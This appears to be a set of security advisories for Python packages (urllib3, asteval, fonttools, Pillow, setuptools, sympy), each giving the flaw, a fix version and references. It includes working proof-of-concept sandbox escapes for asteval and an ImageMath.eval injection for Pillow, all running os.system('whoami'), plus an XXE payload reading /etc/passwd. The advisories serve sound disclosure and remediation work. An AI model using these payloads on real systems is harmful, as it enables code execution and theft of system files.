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Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling during the decompression of compressed response data. An attacker can cause excessive CPU and memory consumption by sending responses with a large number of chained compression steps.

Workaround

This vulnerability can be avoided by setting preload_content=False and ensuring that resp.headers["content-encoding"] are limited to a safe quantity before reading.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the Streaming API. The ContentDecoder class can be forced to allocate disproportionate resources when processing a single chunk with very high compression, such as via the stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), and readinto(b) functions.

Note: It is recommended to patch Brotli dependencies (upgrade to at least 1.2.0) if they are installed outside of urllib3 as well, to avoid other instances of the same vulnerability.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade urllib3 to version 2.6.0 or higher.

References

• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the streaming API when handling HTTP redirects. An attacker can cause excessive resource consumption by serving a specially crafted compressed response that triggers decompression of large amounts of data before any read limits are enforced.

Note: This is only exploitable if content is streamed from untrusted sources with redirects enabled.

Workaround

This vulnerability can be mitigated by disabling redirects by setting redirect=False for requests to untrusted sources.

Remediation

Upgrade urllib3 to version 2.6.3 or higher.

References

• GitHub Commit

Overview

asteval is a Safe, minimalistic evaluator of python expression using ast module

Affected versions of this package are vulnerable to Exposed Dangerous Method or Function stems from the library's attribute access verification method, specifically within the on_attribute node handler. The handler is intended to block access to sensitive Python dunder methods by checking against a list of unsafe attributes and attribute patterns. However, due to a flaw in the implementation, an attacker can manipulate the attribute access mechanism by altering the attribute name during runtime, thereby bypassing the safety checks and executing arbitrary code.

PoC

from asteval import Interpreter
aeval = Interpreter()
code = """
ga_str = "__getattribute__"
def lender():
    a
    b
def pwn():
    ga = lender.dontcare
    init = ga("__init__")
    ga = init.dontcare
    globals = ga("__globals__")
    builtins = globals["__builtins__"]
    importer = builtins["__import__"]
    importer("os").system("whoami")

def startswith1(str):
    # Replace the attr on the targeted AST node with "__getattribute__"
    pwn.body[0].value.attr = ga_str
    return False    

def startswith2(str):
    pwn.body[2].value.attr = ga_str
    return False    

n1 = lender.body[0]
n1.startswith = startswith1
pwn.body[0].value.attr = n1

n2 = lender.body[1]
n2.startswith = startswith2
pwn.body[2].value.attr = n2

pwn()
"""
aeval(code)

Remediation

Upgrade asteval to version 1.0.6 or higher.

References

• GitHub Commit
• GitHub Release

Overview

asteval is a Safe, minimalistic evaluator of python expression using ast module

Affected versions of this package are vulnerable to Exposed Dangerous Method or Function through the on_formattedvalue function. An attacker can manipulate the value of the string used in the dangerous call fmt.format(__fstring__=val) to access protected attributes by intentionally triggering an AttributeError exception. The attacker can then catch the exception and use its obj attribute to gain arbitrary access to sensitive or protected object properties.

PoC

from asteval import Interpreter
aeval = Interpreter()
code = """
# def lender():
#     ga
    
def pwn():
    try:
        f"{dict.mro()[1]:'\\x7B__fstring__.__getattribute__.s\\x7D'}"
    except Exception as ga:
        ga = ga.obj
        sub = ga(dict.mro()[1],"__subclasses__")()
        importer = None
        for i in sub:
            if "BuiltinImporter" in str(i):
                importer = i.load_module
                break
        os = importer("os")
        os.system("whoami")

# pre commit cfb57f0beebe0dc0520a1fbabc35e66060c7ea71, it was required to modify the AST to make this work using the code below
# pwn.body[0].handlers[0].name = lender.body[0].value # need to make it an identifier so node_assign works
        
pwn()
"""
aeval(code)

Remediation

Upgrade asteval to version 1.0.6 or higher.

References

• GitHub Commit
• Vulnerable Code

Overview

fonttools is a Tools to manipulate font files

Affected versions of this package are vulnerable to Arbitrary Code Execution due to the parseBlendList() function's usage of built-in Python's eval() function when parsing TTX font data. An attacker can execute arbitrary scripts by supplying a specially crafted numeric value strings to TTX XML attributes.

Remediation

Upgrade fonttools to version 4.62.0 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Eval Injection via the PIL.ImageMath.eval function when an attacker has control over the keys passed to the environment argument.

PoC

from PIL import Image, ImageMath

image1 = Image.open('__class__')
image2 = Image.open('__bases__')
image3 = Image.open('__subclasses__')
image4 = Image.open('load_module')
image5 = Image.open('system')

expression = "().__class__.__bases__[0].__subclasses__()[104].load_module('os').system('whoami')"

environment = {
    image1.filename: image1,
    image2.filename: image2,
    image3.filename: image3,
    image4.filename: image4,
    image5.filename: image5
}

ImageMath.eval(expression, **environment)

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

• GitHub Commit
• GitHub Release
• Security Advisory

Overview

fonttools is a Tools to manipulate font files

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection via the OT-SVG parser in the svg.py file.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade fonttools to version 4.43.0 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) when using arbitrary strings as text input and the number of characters passed into PIL.ImageFont.ImageFont.getmask() is over a certain limit. This can lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

• GitHub Commit
• Pillow Release Notes

Overview

Affected versions of this package are vulnerable to Denial of Service (DoS) if the size of individual glyphs extends beyond the bitmap image, when using PIL.ImageFont.ImageFont function. Exploiting this vulnerability could lead to a system crash.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade pillow to version 10.2.0 or higher.

References

• GitHub Commit
• Pillow Release Notes

Overview

Affected versions of this package are vulnerable to Uncontrolled Resource Consumption ('Resource Exhaustion') when the ImageFont truetype in an ImageDraw instance operates on a long text argument. An attacker can cause the service to crash by processing a task that uncontrollably allocates memory.

Remediation

Upgrade pillow to version 10.0.0 or higher.

References

• GitHub Commit
• GitHub PR

Overview

Affected versions of this package are vulnerable to Improper Control of Generation of Code ('Code Injection') through the package_index module's download functions due to the unsafe usage of os.system. An attacker can execute arbitrary commands on the system by providing malicious URLs or manipulating the URLs retrieved from package index servers.

Note

Because easy_install and package_index are deprecated, the exploitation surface is reduced, but it's conceivable through social engineering or minor compromise to a package index could grant remote access.

Remediation

Upgrade setuptools to version 70.0.0 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR
• PoC

Overview

sympy is a Computer algebra system (CAS) in Python

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection via the sympy/utilities/mathml/__init__.py file. An attacker could gain unauthorized access to sensitive information by exploiting entities within XML documents.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade sympy to version 1.12 or higher.

References

• GitHub Commit